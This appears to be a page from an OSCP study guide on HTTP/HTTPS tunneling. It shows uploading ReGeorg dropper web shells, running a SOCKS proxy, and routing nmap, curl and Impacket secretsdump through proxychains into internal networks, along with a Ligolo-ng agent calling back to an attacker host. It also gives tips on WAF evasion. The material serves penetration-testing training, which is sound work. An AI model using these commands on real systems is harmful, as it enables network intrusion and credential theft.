Domain 5Pivoting & MetasploitCORE

HTTP/HTTPS Proxy Tunneling

Complete guide to HTTP/HTTPS proxy tunneling using ReGeorg and Ligolo for scenarios where only web traffic is allowed outbound.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#regeorg#http-tunnel#https-tunnel#web-shell#oscp

HTTP/HTTPS Proxy Tunneling

HTTP/HTTPS proxy tunneling wraps your tunnel traffic inside HTTP or HTTPS requests. This is essential when the firewall only allows outbound traffic on ports 80 (HTTP) and 443 (HTTPS).

When to Use HTTP/HTTPS Tunneling

Scenario Why HTTP Tunneling
Only port 80/443 allowed outbound All other ports blocked by firewall
Web shell access only You have a web shell but no shell access
WAF/proxy in place HTTP traffic passes through, other protocols blocked
Strict egress filtering Only web traffic allowed to leave the network

ReGeorg Deep Dive

ReGeorg is a tunneling tool that creates a SOCKS proxy through a web application. It uploads a “dropper” script to the web server, which acts as a tunnel endpoint. Your traffic is then encapsulated in HTTP requests to this script.

How It Works

graph LR
    subgraph "Attacker"
        A[ReGeorg<br/>SOCKS Proxy]
    end
    subgraph "Target Network"
        B[Web Server<br/>tunnel.php]
        C[Internal Target<br/>10.10.10.10]
    end
    A -->|HTTP POST with encoded data| B
    B -->|Decoded TCP connection| C
    B -->|HTTP Response with encoded data| A

Dropper Files

ReGeorg provides dropper scripts for different web technologies:

Dropper File Web Technology Extension
tunnel.php PHP .php
tunnel.aspx ASP.NET .aspx
tunnel.jsp Java/JSP .jsp
tunnel.rb Ruby .rb
tunnel.oab ColdFusion .oab

Step-by-Step Workflow

Step 1: Upload Dropper to Web Server

# Upload tunnel.php to the web server
# Method depends on your access:
# - File upload vulnerability
# - Web shell
# - FTP access
# - Database backup trick

# Example: Upload via web shell
# Place tunnel.php in the web root

Step 2: Start ReGeorg Proxy

# HTTP tunnel
python3 regeorgs.py -u http://10.10.10.5/tunnel.php -k PASSWORD

# HTTPS tunnel
python3 regeorgs.py -u https://10.10.10.5/tunnel.php -k PASSWORD

# Output:
# [*] Url: http://10.10.10.5/tunnel.php
# [*] Key: PASSWORD
# [*] Proxy: socks5://127.0.0.1:8888

Step 3: Configure Proxychains

# Edit /etc/proxychains4.conf
[ProxyList]
socks5  127.0.0.1  8888

Step 4: Use Tools Through the Proxy

# Scan internal network
proxychains4 nmap -sT -Pn -p 22,80,443 10.10.10.10

# Access internal web apps
proxychains4 curl http://10.10.10.10:8080

# Use Impacket
proxychains4 python3 secretsdump.py DOMAIN/user:pass@10.10.10.10

ReGeorg Command Options

Option Description
-u URL of the dropper script
-k Key/password for the tunnel
-p Local port for SOCKS proxy (default 8888)
-l Local bind address (default 127.0.0.1)
-m Mode (tunnel, raw, etc.)

ReGeorg vs Chisel Comparison

Feature ReGeorg Chisel
Protocol HTTP/HTTPS TCP/HTTP
Requires Web server with script upload TCP port access
Port needed 80 or 443 only Any TCP port
Speed Slower (HTTP overhead) Faster
Setup Upload dropper + start proxy Deploy binary + start server/client
Firewall bypass Best (only 80/443) Good (any port)
SOCKS proxy Yes Yes
Best for Only web traffic allowed General tunneling

Ligolo-ng HTTP Mode

Ligolo-ng can also operate over HTTP transport, making it useful when only web traffic is allowed:

# On pivot
ligolo-ng-client --url http://10.10.14.3:8080/tunnel

# On attacker
ligolo-ng-console
# Inside console:
listen
# Wait for agent connection
sessions
interact 1
ifconfig
add-route 10.10.10.0/24 eth0
start

When HTTP Tunneling Is the Only Option

Situation Tool
Web shell only, no shell access ReGeorg
Only port 80 outbound ReGeorg (HTTP)
Only port 443 outbound ReGeorg (HTTPS)
WAF blocks non-HTTP traffic ReGeorg / Ligolo HTTP
Strict egress filter (80/443 only) ReGeorg

Troubleshooting

Problem Cause Solution
404 Not Found Dropper not uploaded correctly Verify dropper is accessible via browser
Connection refused ReGeorg proxy not running Restart regeorgs.py
Key mismatch Wrong password Use same -k value on both sides
Very slow tunnel HTTP overhead Accept it — HTTP tunneling is inherently slow
500 Internal Server Error PHP error in dropper Check PHP error logs, verify PHP version
Large transfers fail Buffer size limits Use smaller payloads or chunk transfers

OSCP Exam Tips

  1. ReGeorg is your last resort — use it when no other tunnel method works.
  2. Upload the correct dropper for the web technology (PHP → .php, ASP → .aspx).
  3. HTTP tunneling is slow — be patient with scans and transfers.
  4. Test the dropper first — browse to it and verify it responds.
  5. Use a strong key (-k) to prevent unauthorized access.
  6. HTTPS mode (-u https://) is more stealthy and may bypass WAFs.

Further Reading